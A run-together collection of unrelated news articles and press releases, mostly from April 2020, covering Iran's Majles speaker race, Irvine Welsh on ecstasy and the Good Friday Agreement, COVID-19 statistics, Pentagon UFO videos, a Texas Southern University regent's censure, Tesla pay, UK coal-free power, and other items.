Aqa-Tehrani, former Culture Minister Mostafa Mirsalim, former hardline MP Alireza Zakani, pro-Ahmadinejad politicians Ali Nikzad and Hamid Reza Hajibabaei and former pro-Ahmadinejad nuclear agency chief Fereidoun Abbasi. This is the first time there are more than two or three people competing to win the speakers position. According to Ebtekar, Qalibaf never thought he would have to fight so many rivals for the post he has been eying since his defeat in the 2017 presidential election. Qalibaf (Ghalibaf) has already won a fierce competition with the ultraconservative Paydari Front and its offshoot contingent of pro-Ahmadinejad figures to lead the list of conservative Majles candidates for Tehran. The Paydari front members in particular have invariably highlighted Qalibafss record of financial corruption as Mayor of Tehran, a post he held for longer than a decade until 2018. Ebtekar newspaper wrote in a commentary by Elham Barkhordar on April 28 that Paydari members who claim to hold the majority in the next Majles have vowed to prevent Qalibaf ascending to the seat of the Speaker of the Majles, using corruption charges against him. Before the February elections, some Iranian media said that Qalibaf was Supreme Leader Ali Khamenei's candidate for the post. This may or may not be true as Qalibaf is a cousin of Khamenei's wife and comes from the same Khorasan Province village where Khamenei comes from. Ebtekar quoted former hardline MP and the current head of Transparency Monitoring Organization, Ahmad Tavakoli as saying: "I am against corruption and taking advantage of public assets. I am not saying this for political reasons. There has been corruption and lawbreaking in the way the Municipality transferred some of its assets." Tavakoli must have been referring to corruption cases involving trillions of rials including one in which the Mayor is accused of transferring some assets to his wife's charity. Tavakoli, a former supporter of Qalibaf who has turned against him, said that the Guardian Council should have paid attention to these cases before the election, "not now that he can potentially become the Speaker of the Majles," Ebtekar reported. However, this is not the first time Qalibaf's conservative allies let him down. During the presidential elections in 2017, although he was the leading conservative candidate, the conservative alliance knocked him out of the race and opted for current Judiciary Chief Ebrahim Raeesi to compete with Rouhani who eventually won the race. Qalibaf subsequently left the conservative camp in a temper tantrum and while sulking, he created his own "neoconservative" group. Many in Iranian media have said that Qalibaf is still eying the Presidency and he might still be willing to take part in the 2021 presidential election as a candidate. Traditionally, every time there has been more than one conservative candidate for the post of Majles Speaker, the conservative caucus held a preliminary election among themselves to come to a consensus about the final candidate. This time, with the Paydari Front Leader and three pro-Ahmadinejad candidates for the post, such a consensus is hardly feasible. The competition over the Speaker's seat may prove to be more spectacular than previously anticipated. Nineties drug culture was the real reason the Good Friday Agreement happened, Trainspotting author Irvine Welsh has bizarrely claimed. Former heroin addict Irvine says working class youths formerly vulnerable to recruitment into the IRA and UVF became so obsessed with taking ecstasy, clubbing and having sex that paramilitary bosses failed to inspire them to join their ranks and mount headline-grabbing terror attacks. Irvine (61) claimed local politicians from both sides of Northern Ireland's divide gave him some surprising stories about how the Good Friday Agreement - signed 22 years ago this month - came about. Interviewed for the new paperback edition of the book Don't Look Back In Anger, the Edinburgh-born author said: "Tony Blair swans around taking credit for the Good Friday Agreement, but it was about ecstasy. "I've spoken to nationalist and loyalist politicians who say a whole generation of kids were taken out of the IRA and UVF because they were dancing in fields. They couldn't recruit - although at raves they would still go to their respective community leader's dealer in each corner - because they'd all be dancing together. "They were forced to a solution because nobody wanted to get involved in terrorism." The writer added class A drug ecstasy also opened up more possibilities for sex, which he said also distracted working class clubbers. He added: "When ecstasy came into working class communities, it changed a lot of the narratives. "Beforehand, men and women didn't really mix. It was like sexual apartheid. "Where I grew up the girls would be in the lounge bar and the guys would be in the public bar. You'd meet in the disco. "You'd sit with your mates drinking. And the girls would be with their mates dancing round their handbags. The last dance, everybody would just pile on. "When I started taking ecstasy, all these women I'd known for ages, but not known at all because they were just the girlfriends or the wife of your mates - I suddenly realised that they were much more f*****g interesting than their partners. "I got a proper relationship with women for the first time. Everything was breaking down. Expand Close Former Prime Minister Tony Blair (right) former US Senator George Mitchell (centre) and former Irish Prime Minister Bertie Ahern (left) smiling after they signed the historic agreement for peace in Northern Ireland. PA / Facebook Twitter Email Whatsapp Former Prime Minister Tony Blair (right) former US Senator George Mitchell (centre) and former Irish Prime Minister Bertie Ahern (left) smiling after they signed the historic agreement for peace in Northern Ireland. "People had a duty to go clubbing. If you're enjoying yourself and you're getting the most out of life, it doesn't matter what your economic circumstances are, as long as you're having fun and you're having a good time." Irvine, whose book Trainspotting about working class heroin addicts became a Britpop emblem, has become outspoken in the last decade about his political views on everything from Scottish independence to Brexit. He has slammed the UK government as "twats" for the response to Covid-19 and last Wednesday joined BBC DJ Edith Bowman's For The Love Of Scotland benefit gig to raise cash for frontline NHS workers' personal protection equipment (PPE). His book Trainspotting became an international bestseller after it was published in 1993. It made him part of the 'Cool Britannia' scene that fuelled the rise of Tony Blair's New Labour, and was turned into a phenomenally successful film by Danny Boyle starring Ewan McGregor. But twice-divorced Irvine - who lives with his current partner in Chicago and now restricts himself to a bottle of expensive red wine and the occasional trip on hallucinogenic drug DMT - said fame wasn't good for his career, as he constantly wanted to go out and spend his cash on getting hammered. "Suddenly I had all this acclaim and it's not a good thing, the whole trappings of fame and celebrity," he said. "I would be in my garret typing and be thinking, 'Why am I doing this, sitting around in this boring f*****g house? "I'm famous, I should be going out and s******g everything in sight and taking every drug I can get my hands on. So I would do that for a couple of weeks then I would come back and think, 'No, I'm a serious artist.' I was always struggling with that duality." Consumer expectations have changed and will remain changed, long after COVID-19. Experience gives dealerships the tools they need now to acclimate to this new reality, said Dealer-FX CEO, Bill Lucchini." Dealer-FX, the digital transformation and customer experience management leader for automotive retailers and OEMs, announced the launch of Experience today, a new offering that makes appointment scheduling and service check-in easy for the vehicle owner while making appointment management and customer communication simple for the dealership. The solution, specifically designed for the new normal of social distancing is being offered to dealers at no charge for the first three months to help alleviate some of the financial burdens COVID-19 has had on them. We're very excited to launch Experience. This solution provides the essential tools every dealership needs to truly deliver an exceptional service experience, said Dealer-FX CEO, Bill Lucchini. Consumer expectations have changed and will remain changed, long after COVID-19. Experience gives dealerships the tools they need now to acclimate to this new reality, said Lucchini. Experiences products work collaboratively to modernize the appointment experience at every touchpoint and increase customer satisfaction. First, it provides a simple and convenient way for customers to schedule appointments and for dealerships to manage - at-a-glance - appointment availability and transportation options. Next, contactless check-in offers customers the ability to complete their service check-in using their mobile device, including the option to select additional services and provide a digital signature for approval. Finally, Experience delivers effective text, email and call outreach designed to keep customers coming back for service, helping dealers build long-term retention and grow fixed operations revenue. Experience integrates with leading DMS providers, ensuring seamless and consistent customer and vehicle information. Additionally, robust reporting and analytics provide insight into short and long-term trends that affect dealerships' retention and profitability. Experience runs on the Dealer-FX ONE Platform, allowing dealerships to easily upgrade the solution with tools to automate the end-to-end workflow of their service operations. To complement Experience, dealers can also receive expert services for marketing and BDC training, all designed to help drive growth, retention, and efficiency for their BDC and service lane operations. Dealers are encouraged to visit: http://www.dealer-fx.com/experience to schedule a demonstration and learn more about this innovative solution. About Dealer-FX Dealer-FX is transforming how automotive retailers manage their service operations and how they interact with consumers. Through advanced data integrations and mobile technology, Dealer-FX streamlines processes and communication for automotive service departments while delivering convenience, transparency and trust to consumers. From service scheduling to vehicle write-up, through to delivery, the Dealer-FX ONE Platform helps dealerships increase efficiency, profitability, retention and brand loyalty. Dealer-FX is the exclusive, or preferred service technology provider for many leading OEMs including FCA, Nissan, Infiniti, Toyota, Lexus, Mitsubishi, Audi, GM, Kia and Hyundai in the US, Canada, and Puerto Rico, and has more than 2,500 dealership clients. Dealer-FX is based in Toronto, ON, and is backed by the strength and resources of HGGC. Guinea Coronavirus Update - Coronavirus cases climb to 996, Total Deaths reaches to 7 on 27-Apr-2020 In Guinea total confirmed cases of Coronavirus (COVID-19) have increased to 996, while 7 people died due to the growing infection in the country. Coronavirus (Covid-19) update from around the world: World, 28-April-2020: Tedros Adhanom Ghebreyesus, World Health Organization Director-General said "The pandemic is far from over." Which means the Covid-19 infection will stay for the longer period of time in the world. Nigeria, 27-April-2020: In Nigeria the lockdown has been extended in three major states Abuja, Lagos and Ogun. Now the lockdown will be imposed till May 4. Nigeria's President Muhammadu Buhari announced the extension of lockdown today. India, 27-April-2020: The Tamil Nadu government announced on April 27 to return 24,000 rapid test kits imported from China. The Indian Council of Medical Research (ICMR) after their test asked the states to stop using COVID-19 rapid antibody kits developed by two Chinese companies. These COVID-19 rapid antibody kits were imported earlier for the testing of suspected patients. But now India will not use these kits because it is not giving satisfactory results, said the Indian Council of Medical Research (ICMR). Worldwide, 28-April-2020: Global Coronavirus cases rises more than 3,000,000, while 209,799 deaths reported so far. Nearly one third cases of Covid-19 is reported from United States. In United States over 972,969 confirmed cases have been reported so far. Spain is the second most affected country in the world with a total of 229,422 cases and 23,521 deaths as per the data of Johns Hopkins. Canada, 27-April-2020: The pace for the Covid-19 related deaths slows further in Canada. According to the official data the toll from the coronavirus grew by less than 10% for the eighth day in a row. India, 27-April-2020: In Delhi more containment reported raising total Containment zones to 99. These Containment zones are entire affected areas including Nirankari Gali, Nakshatra Gali,Nala Boring Gali, Ravan Wali Gali, Jameela Masjid Baoli, Dargah Gurudwara Wali Gali, Thane Wali Gali & Terminal Wali Gali' & some houses in Pillanji Village. India, 27-April-2020: Madhya Pradesh reported 2,165 cases of Covid-19 cases, while 110 people died so far in state. In Indore over 1207 confirmed cases and 60 deaths reported. Bhopal reported 428 cases and 12 deaths so far. UK, 27-April-2020: UK reported 360 deaths today raising total deaths to 21,092 so far. India, 27-April-2020: Sudden surge in Covid-19 cases in Aurangabad where 29 new cases of Covid-19 reported on Monday. The total cases rises to 82 in Aurangabad. India, 27-April-2020: Over 190 new confirmed cases of Covid-19 is reported from Delhi today. Total number of confirmed cases rises to 3108 in New Delhi, while 54 people died so far in Delhi: Government of Delhi. France: France is reporting higher number of deaths but but slightly fewer people with severe conditions were admitted into ICU in past fourth day. France reported 315 deaths last day as compared to 345 deaths the day earlier. In France 133,670 confirmed cases and 14,412 deaths reported so far. Here are the latest cases of Coronavirus (COVID-19) infection in Guinea: Sr. No. Date Total Cases New Cases Total Deaths Deaths 1. 22-Apr-2020 761 73 6 0 2. 23-Apr-2020 862 101 6 0 3. 24-Apr-2020 954 92 6 0 4. 25-Apr-2020 996 42 7 1 5. 26-Apr-2020 996 0 7 0 6. 27-Apr-2020 996 0 7 0 TOP 10 Deaths by country due to Coronavirus (COVID-19) outbreak: 1. Europe (121,885) 2. North America (60,014) 3. USA (55,415) 4. Italy (26,644) 5. Spain (23,190) 6. France (22,856) 7. UK (20,732) 8. Asia (17,245) 9. Belgium (7,094) 10. South America (6,309) Total Deaths Worldwide (206,997) Globally till now over 206,997 people died due to the outbreak of deadly Coronavirus (COVID-19). The new infection and death cases are increasing fast. Authorities in the Guinea and other countries are taking proper measures to contain the deadly Coronavirus (COVID-19). As of now Europe is the worst affected country in the world with over 121,885 deaths and 1,276,808 confirmed cases. Check latest update: Coronaviurs Covid-19 cases around the world The Defense Department on Monday released a series of previously classified videos of flying craft that it has simply labeled as "aerial phenomena" that remain "unidentified." The Navy video consists of one video taken in November 2004 and two more captured in January 2015, according to a Pentagon statement. The video has "been circulating in the public domain after unauthorized releases in 2007 and 2017," and after "thorough review, the department has determined that the authorized release of these unclassified videos does not reveal any sensitive capabilities or systems," according to the Pentagon statement. IMAGE: Navy video image (Defense Department) "DOD is releasing the videos in order to clear up any misconceptions by the public on whether or not the footage that has been circulating was real, or whether or not there is more to the videos. The aerial phenomena observed in the videos remain characterized as 'unidentified.'" A voice heard in the video, presumably that of a pilot, appears to report seeing more than one phenomenon. "My gosh, they're all going against the wind! The wind's 120 knots out of the west!" he marveled. "Look at that thing, dude." Retired Sen. Harry Reid, whose home state, Nevada, houses the famed military testing ground Area 51, spiritual home of the world's UFO followers, welcomed the disclosure. "I'm glad the Pentagon is finally releasing this footage, but it only scratches the surface of research and materials available," Reid said in a tweeted statement. "The U.S. needs to take a serious, scientific look at this and any potential national security implications. The American people deserve to be informed." Download the NBC News app for breaking news and politics The Pentagon disclosure came as millions of Americans remained trapped at home, sheltering in place to curb spread of the coronavirus. The video amounted to much-needed entertainment for some. "Phase 1 of lockdown: Release Tiger King. Phase 2 of lockdown: UFO," Pittsburgh-area grocer Chris Goldby quipped on Twitter in reference to the hit Netflix documentary about an Oklahoma zookeeper. "Lockdown protocol to be continued as needed." The Texas Southern University board of regents censured member Ron Price and removed him from his position as secretary Tuesday after hearing disparaging comments he made during an expletive-filled recorded conversation with a TSU alumna. During a special-called phone meeting Tuesday, board counsel Sharesa Y. Alexander read the boards resolution stating that Price made derogatory, racist and threatening statements referring to the actions of other regents and violated the boards code of ethics on the recorded call. The move comes after an April 16 call Price had with TSU alumna Victoria Gray. During a virtual board meeting that day, Gray requested that all board members involved in the ousting of former president Austin Lane step down. She recorded the call with Price, capturing a conversation that ran for more than an hour, and later shared it with members of a closed social media group of TSU alumni. In the profanity-laced call that included a racial epithet, Price told Gray that current board of regents did not have the best interests of the university at heart and that they had been gunning to fire Lane since November. Price, a TSU alum himself, said he tried to put a stop to it. I kept telling (former regent Derrick Mitchell), Man, I dont know these people on the board. I dont trust them. They talk too damn much. And the stuff theyre focusing on is not helping the babies, Price said, referring to TSU students. Price also revealed his soured relationship with former board chair Hasan Mack, who he alleged had a personal vendetta against Lane and purposely left Price out of crucial board meetings, including the one in which regents voted for Lanes termination. If (Hasan Mack) was by himself and had a flat tire in the middle of West Texas, I would ride right past his ass, Price said. What he did to Lane I have no respect for that guy. None. Gray said she was taken aback by Prices foul language and his rude and unprofessional demeanor on the call. This is my first time talking to this man, said Gray. He is not an example of excellence in achievement. How can this man represent a board that oversees a university? Price and Mack did not immediately respond to requests for comment. On Tuesday, Alexander, the TSU board attorney, said Price lacked knowledge about the roles and duties of a regent, and that the recording has ultimately caused a negative impact on the regents, the university and alumni. As a result, Price who still maintains his seat on the board, has been removed from membership of all board committees, Alexander said. All five regents present motioned the resolution. Thank you, everybody, for being a part of this call today. Its unfortunate that we had to address an issue like this amidst moving the university forward like we plan to do, board chair Albert Myres Sr. said. In an apologetic letter to the TSU community Monday night after the recording was released to the public via Facebook, Price, who was not present on the Tuesday call, announced his decision to step down as the boards secretary. TSU INVESTIGATION: New bombshells revealed in Texas Southern University admissions scandal. Some of the words I chose during my conversation were inappropriate and spoken out of emotion during an unguarded moment. I sincerely apologize to my fellow board members, to TSU administrators, faculty, staff, students, alumni and the entire TSU family for any embarrassment that has resulted, Price wrote. He added that it has been a great privilege and honor to serve as board secretary, and to serve alongside dedicated colleagues whom I respect and admire. But Prices recorded comments to Gray, the alumna and a former university employee, say otherwise. His comments indicate deep rifts, personal vendettas and mistrust within the TSU board some of which resulted from disagreements in the ousting of Lane. Gray said when she listened back to the recording, she again suggested that Price resign but he refused. The alumna then posted the recording in the private #RemovetheRegents Facebook group and then released it to the public Monday. The group intends to release a full transcript of her conversation with Price Wednesday, she said. TSU INVESTIGATION: Texas Southern investigation still ongoing, board says; new initiatives announced We want the community and alumni, politicians and everybody to listen and read the entire transcript and to decide for themselves if this is a person [who] should be a representative of our university, Gray said. They just need to listen. Price has been a controversial and vocal character on TSUs board. In the past, he complained about treatment of his colleagues after they received back row seats to the Democratic presidential debate held at TSU last fall and when board members were dropped off a block away from their location during the colleges homecoming. In February, the board accused Lane of failing to notify the board and the university auditor about the problems in the admissions office and voted for his termination, which resulted in a buyout that totaled at least $879,000, according to Lane, with no wrongdoing on Lanes part. Price, CEO of a research and technology group, is the fourth TSU regent to step down in full or part this year. Six regents, including Price, remain, but Gray insists its time for them to move on out the way. TSU: Former TSU president a chancellor finalist at Illinois university Price, however, who was appointed to the board in February 2019 for a term through February 2023, said hes there to stay. I bring too much value, Price told Gray in the recording, alleging that he introduced Lane to his billionaire friends and that he played an instrumental role in bringing the Democratic presidential debate to TSU in the fall. Price also boasted ambitious plans for programs and to increase TSUs enrollment to 60,000. TSUs enrollment for fall 2019 was 9,034, according to the TSU website. All I ask is the board of regents to treat people fairly. ... My job is to ask what do [sic] the university need and let me bust my ass to see if I can make it happen, Price said. brittany.britto@chron.com NEW YORK, April 28, 2020 /PRNewswire/ -- Solo New York, a third-generation family owned and operated business that draws design inspiration from the streets of New York, today announced Bags for Food, an initiative to encourage donations to Food Banks across the United States. After an overwhelmingly successful Bags for Food collaboration to support a food bank in New York City, which raised enough money for more than 12,500 meals, Solo has expanded the program nationwide, with participants able to donate to any food bank of their choice. Bags for Food Program With cancelled food drives, reduced grocery and retail supply sources, shut-down pantries and some volunteers stuck at home, social safety nets are overwhelmed. As one of the largest bag brands in the US, to lend a helping hand Solo New York has expanded its Bags for Food donation drive to support food banks across the country. "We were very proud of the incredible response from our NYC-focused Bags for Food initiative, especially as it supports the hard-hit community here in New York where we live and work," said Serkan Anders, Vice President, Solo New York. "And although donations came in from across the nation, we also understand that people may want to support their local food bank, so we're relaunching and expanding our Bags for Food initiative and opening it up nationwide. Food banks have always been vital, but they need more support than ever right now, and the best way to help is to donate financially so their teams can source from available food supply." How the Bags for Food Program Works: Make a donation of $10 or more to the U.S. food bank of your choosing or more to the U.S. food bank of your choosing Visit https://solo-ny.com/pages/covid19-donate , fill out the form, uploading a PDF or screen grab of your donation receipt. , fill out the form, uploading a PDF or screen grab of your donation receipt. Every week Solo will pick 10 people who have donated to win a bag of their choice. Available bags will range from $20 to $150 depending on winner preference. For more information about the program, please visit https://solo-ny.com. About Solo New York: Back in 2008, we committed to shake up an old industry and make cool, stylish bag and tablet case designs with thoughtful details available to everyone. Since then, the streets of New York have provided endless inspiration for us. Everything we design has unique style, sparked by the sights and sounds of the city. While New York is a place we call home, that dynamic spirit translates everywhere. Learn more at https://solo-ny.com and on Instagram, @SoloNewYork. Media Contact: Delaney Lanker (303) 647-5570 [email protected] SOURCE Solo New York Related Links https://www.solo-ny.com Toronto police have issued a public safety warning after two suspected overdose deaths in a five-day period. Between April 23 and Monday, police said they responded to several reports of people who fell ill after taking an unknown narcotic in the downtown area. Two people died in private residences, police said. Police would not confirm the total number of people who got sick, except to say that multiple naloxone treatments were given. Toronto police reminded residents who are using drugs to be extremely cautious, and not to take them alone. The deaths come as Toronto recorded 19 overdose deaths last month, its highest number of monthly overdose deaths since 22 in March 2019. There were 345 suspected opioid overdose calls to paramedics last month, according to Toronto Public Health. Addictions experts say reduced access to services due to COVID-19 and an ongoing surge in contaminated illicit drugs is further straining an already underserved sector. If anyone encounters serious physical illness after consuming a narcotic, they are advised to attend a hospital emergency room or walk-in clinic immediately for treatment, police said in a statement. Angelina Friedman, a woman from Westchester County, New York, survived the Spanish flu pandemic when she was a newborn, and now she has recovered from COVID-19, according to Pix11. Angelina Friedman was born in 1918 during a wave of Italian immigration to New York. It was also during the second wave of the Spanish flu pandemic. Her mother died giving birth on the ship, and she was taken care of by her two sisters, who were also on board, said Joanne Merola, Friedmans daughter. According to the World Health Organization, the Spanish flu infected about a third of the worlds population. Roughly 50 million people died from it. In Catharine Arnold's book "Pandemic 1918," the Spanish flu spread across the globe in three successive waves, from 1918 to 1919. The United States recorded 550,000 deaths (five times its total military fatalities in the World War I while European deaths totaled over two million. During Friedmans life, she survived the Spanish flu, had several miscarriages, cancer, sepsis and now COVID-19. A New York woman born during the Spanish flu pandemic has the distinction of surviving a second pandemic, more than 100 years after she survived the first one. Angelina Friedman, nee Sciales, came into the world in 1918 on a passenger ship bringing... https://t.co/VPeI4VdDTX WHSVnews (@WHSVnews) April 28, 2020 Everybody in the family lived until at least 95, except one uncle, her daughter said. Friedman, a resident of the North Westchester Restorative Therapy and Nursing Center in Lake Mohegan, N.Y., was taken to a hospital on March 21 for a minor medical procedure but received a coronavirus diagnosis. She spent a week in the hospital and was sent home a week later. After running a fever on and off for several weeks, Friedman finally tested negative for coronavirus on April 20, her daughter said. Because Friedman is nearly deaf, she and her daughter could not communicate via phone, but the nurses have kept Merola updated on her mothers progress. They tell me shes doing great. Shes up and about as much as possible. Shes looking for wool to crochet with, Merola said. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Read more: Tesla CEO Elon Musk is on the cusp of a roughly $750 million payday as the electric carmaker's stock recovers from a slump caused by the coronavirus pandemic, which led the company to close its factories and furlough workers. Shares of Tesla surged 10 percent on Monday ahead of the company's quarterly report this week, and in anticipation it could soon reopen its Fremont, California, plant after it was shuttered because of the pandemic. Monday's rally put Tesla's market capitalization at $145 billion. Importantly for Musk, its stock market value reached a six-month average of $96 billion. Hitting a six-month average of $100 billion would trigger the vesting of the first of 12 tranches of options granted to the billionaire to buy Tesla stock as part of his two-year-old pay package. Tesla CEO Elon Musk is on the cusp of a roughly $750 million payday as the electric carmaker's stock recovers from a slump caused by the coronavirus Tesla shares have recovered from their March lows as the company nears reopening factories Each tranche gives Musk the option to buy 1.69 million Tesla shares at $350.02 each. Taking Monday's Tesla closing stock price of $798.75 as an example, Musk could sell those shares for a profit of $758 million. Musk receives no salary or cash bonus, only options that vest based on Tesla's market cap and milestones for revenue and profit growth. Musk has already hit a growth target necessary for the first options to vest. A full payoff for Musk, who is also the majority owner and CEO of the SpaceX rocket maker, would surpass anything previously granted to U.S. executives. When Tesla unveiled Musks package in 2018, it said he could theoretically reap as much as $55.8 billion if no new shares were issued. However, Tesla has since issued shares to compensate employees, and last year it sold $2.7 billion in shares and convertible bonds. The potential payout for Musk comes after Tesla said this month it would furlough all non-essential workers and implement salary cuts during a shutdown of its U.S. production facilities because of the coronavirus outbreak. The pandemic has slashed U.S. demand for cars and forced several other automakers to also furlough U.S. workers. Tesla's factory in Fremont, California is seen in a file photo. The closure of the Fremont plant came just as Tesla was increasing production of its new Model Y sport utility vehicle Tesla's quarterly report after the bell on Wednesday will show the damage done to global demand by the pandemic and the extent to which a recovery from the coronavirus in China, and a return to production at its Shanghai plant, are helping the U.S. carmaker. Investors will also focus on Tesla's cash burn related to its interrupted manufacturing and sales, and on Musk's expectations for consumer demand in a potential long-term global recession, Baird analyst Ben Kallo wrote in a client note last week. The closure of the Fremont plant came just as Tesla was increasing production of its new Model Y sport utility vehicle. Analysts on average expect March quarter revenue to jump 30% to $5.9 billion, according to Refinitiv. That consensus revenue estimate is down from $6.7 billion at the start of February. Analysts on average expect a non-GAAP loss of 36 cents per share. When shareholders approved Musk's pay package, Tesla was valued at about $53 billion and it faced a cash crunch, production delays and increasing competition from rivals. The pay deal was viewed as massively ambitious because it implied the company's value could grow as much as ten-fold in 10 years, and its potentially huge size led some shareholders to oppose it. Tesla's market capitalization since then has expanded to nearly three times the combined values of General Motors and Ford Motor. Musk's subsequent options tranches would vest at $50 billion increments of Tesla market capitalization over the agreement's 10-year period, with the billionaire earning the full package if Tesla's market capitalization reaches $650 billion and the high tech vehicle maker achieves several revenue and profit targets. LONDON (dpa-AFX) - Travis Perkins plc (TPK.L), a distributor of building materials, reported Tuesday that its total first-quarter sales declined 4.6 percent and like-for-like sales fell 3.8 percent. The company delivered a good performance in the first two and a half months of 2020, but performance was then significantly impacted by the COVID-19 pandemic and the lockdown measures introduced in the UK from March 24. In its trading update, the company noted that Merchanting sales fell 7.9 percent on reported basis and 8.7 percent on LFL basis. P&H sales fell 12.7 percent. Toolstation sales, however, climbed 31.1 percent and Retail sales grew 3.5 percent. Since late March, the company has been running a 'service-light' operating model, focusing on serving customers through remote, non-contact channels. In the first three weeks of April, Group total revenue was approximately one-third of the same period in 2019 on a comparable basis. The AGM will take place today with only the Chairman of the Board and the Company Secretary & General Counsel present, who together will form the quorum for the meeting, with no other attendees. A live audio feed will be accessible to shareholders. Given the ongoing, considerable level of uncertainty, the company said it is unable to provide an accurate assessment on trading and withdrew market guidance on March 20. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. A Mason City man is facing numerous charges ranging from traffic infractions to drug possession after leading law enforcement on a chase Friday night. Jason O. Thorson, 36, was arrested shortly before midnight after an attempted traffic stop, according to a press release by the Cerro Gordo County Sheriff's Office. Officials say a deputy tried to pull over a 2006 Buick Lucerne being driven by Thorson near the intersection of Second Street Northwest and North Monroe Avenue. Thorson refused to stop and fled the area, leading the deputy in a pursuit heading northbound on Monroe Avenuem then westbound on 12th Street Northwest, reaching speeds of 45 miles per hour over the posted speed limit. After turning south on North Van Buren Avenue, Thorson fled on foot and was apprehended a short time later, the statement said. Thorson was arrested on two counts of failing to obey a traffic sign, one count of eluding, one count of interference with official acts, one count of driving under the influence of drugs, and a count of driving under suspension. He was also found to have an active warrant on a parole violation charge out of Winnebago County. Upon his arrest, a search warrant was executed on Thorson's vehicle, adding two charges of possession of a controlled substance - third offense, and a charge of possession of drug paraphernalia. Trial information is not yet available. The Mason City Police Department and the Iowa State Patrol assisted in the arrest. Grace Zaplatynsky can be reached at 641-421-0534. Love 3 Funny 2 Wow 0 Sad 2 Angry 1 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. US House panel seeks Republican Leader McCarthy's testimony in probe of Jan 6 riot 13 Jan 2022 | 7:15 AM Washington, Jan 13 (UNI/Sputnik) The US House committee investigating the January 6 Capitol riot sent a letter to Minority Leader Kevin McCarthy asking him to voluntarily appear before the panel for a disposition about his communication with former President Donald Trump the day of the event. see more.. 8 member states lose right to vote at UN due to unpaid dues 13 Jan 2022 | 1:02 AM United Nations, Jan 12 (UNI/Xinhua) Iran and Venezuela are among the eight countries whose rights to vote at the United Nations have been revoked due to unpaid dues, a UN spokesperson said Wednesday. see more.. At UNSC, India calls for immediate release of 7 Indian crew members of seized ship 13 Jan 2022 | 12:43 AM United Nations, Jan 12 (UNI) India on Wednesday took part in the UN Security Council meeting on Yemen, where it expressed grave concern over the seizure of the UAE flagged vessel Rawabi by Houthis and called for the immediate release of seven Indian crew members. see more.. Russia to counter security threat with military means if politics fails - Grushko 13 Jan 2022 | 12:06 AM Brussels, Jan 12 (UNI/Sputnik) Russia will take measures to fend off the threat to its security by military means, if this cannot be done by political means, Deputy Foreign Minister Alexander Grushko said. see more.. Britain has gone without coal power for 18 days in a row the longest period since the industrial revolution. The milestone was recorded as demand for power fell almost 20 per cent compared to the same period last year, as the majority of businesses remain closed due to the coronavirus outbreak. The result is a cut in the UKs CO2 emissions of around one-third, according to analysis by climate website Carbon Brief. While the UKs remaining coal-fired power stations have been offline, renewable sources of energy have been the largest source of domestically-produced electricity, contributing 37 per cent, while gas contributed 32 per cent and nuclear 22 per cent. The remaining 9 per cent has been imported from France, Belgium and the Netherlands. Coal has contributed less and less to the power mix in Britain as plants have been brought offline, with the country on course to exit coal-fired power by 2025. Coal usage typically drops off in warmer months, and since last summer, the largest contribution coal has made to the UKs energy was at the end of January, when it made up 6.9 per cent of the power mix. As recently as 2015, on many days of the year, coal contributed more than 50 per cent of the power used by the grid, and it still made up 25 per cent of the total power mix in 2016, according to records kept by Drax Electric Insights. The first coal-free day was recorded in 2017, and until this months record, the previous longest period without coal was in May 2019 when coal power contributed nothing to the grid for two weeks. Overall, coal contributed just 2.1 per cent of the countrys total power mix in 2019. Dr Jonathan Marshall, head of analysis at the Energy and Climate Intelligence Unit said: Todays record coal-free run is another remarkable milestone in the decline of coal power in the UK, and it wont be the last. No longer are there questions around the ability of grid operators to keep the system going. Instead, attention is turning to rapidly learning as much as possible from conditions where low-carbon power dominates. Analysts have suggested that the coronavirus crisis will accelerate the energy transition, as systems with renewables contributing most to power output offer valuable practice in managing the grid of the future. He added: It is now just a couple of years until the end of coal in the UK, with gas set to play a mere bit-part in power generation by the end of the decade. It is moments like these that can provide valuable insights into keeping the lights on as we move towards a net zero economy. The worlds first coal-fired power station, the Edison Electric Light Station, opened in London in 1882 and coal remained a constant source of power until 2017 a period of 135 years. The opening of the Edison Electric Light Station at Holborn viaduct came two years after the worlds first hydroelectric power generation scheme, which was developed in 1878 at Cragside in Northumberland, by William Armstrong. It was not strictly a commercial venture, primarily being used to light his own house, but Armstrong was an early advocate for renewable energy and even hypothesised about future solar power generation. He believed coal was used wastefully and extravagantly in all its applications, and as early as 1863 he predicted Britain would cease to use coal within two centuries. After the closure of two plants in March 2020, just three coal-fired power plants remain in Great Britain: Drax, Ratcliffe and West Burton, and also one, Kilroot, in Northern Ireland. All are due to cease making contributions to the grid within five years. Meanwhile, the decision to allow the UKs first new deep coal mine in 30 years, in Cumbria, has been attacked as being incompatible with the countrys climate targets. The 165m Woodhouse colliery in Cumbria received cross party-backing in March 2019. The mine will not be used for power generation, but for the steel industry. Under current plans the mine will aim to process 2.5 million tonnes of coking coal a year, which will be made available to the UK and European steel industry, which currently relies on imports from the US, Colombia, Canada and Russia. However, a judicial review challenging Cumbria County Councils decision to approve the plans for mine has been given a provisional date in July. It will take place at Manchesters High Court, depending on the coronavirus situation. Growing up on the shores of Botany Bay, or Kamay in the local Aboriginal language, Ray Ingrey learnt two versions of the historic events that unfolded in the area 250 years ago on April 29, when the crew of the Endeavour first made landfall on the Australian mainland. Chairman of Gujaga Foundation Ray Ingrey. Credit:Rhett Wyman At school, he was taught of Captain Cooks discovery of Australia. From his Dharawal elders, he heard another story, passed down through generations, about what the local Aboriginal people saw as they watched the ship sail along the coastline and into the bay. "They saw the sails of the Endeavour and they thought they were low-lying clouds, and in Dharawal culture, low-lying clouds tell you that the spirits of the dead are coming back to this land, so they thought they were spirits coming back," Mr Ingrey said. Rosamund Pike reveals she is voicing the character of a new Royal Engine, a Duchess who is feeling the pressure' for the 75th anniversary of Thomas The Tank Engine. Thomas & Friends: The Royal Engine, will celebrate the British heritage of the brand, and includes a special introduction on screen by Harry, The Duke of Sussex Her Majesty The Queen and HRH The Prince of Wales as a boy are characters in Thomas & Friends: The Royal Engine special 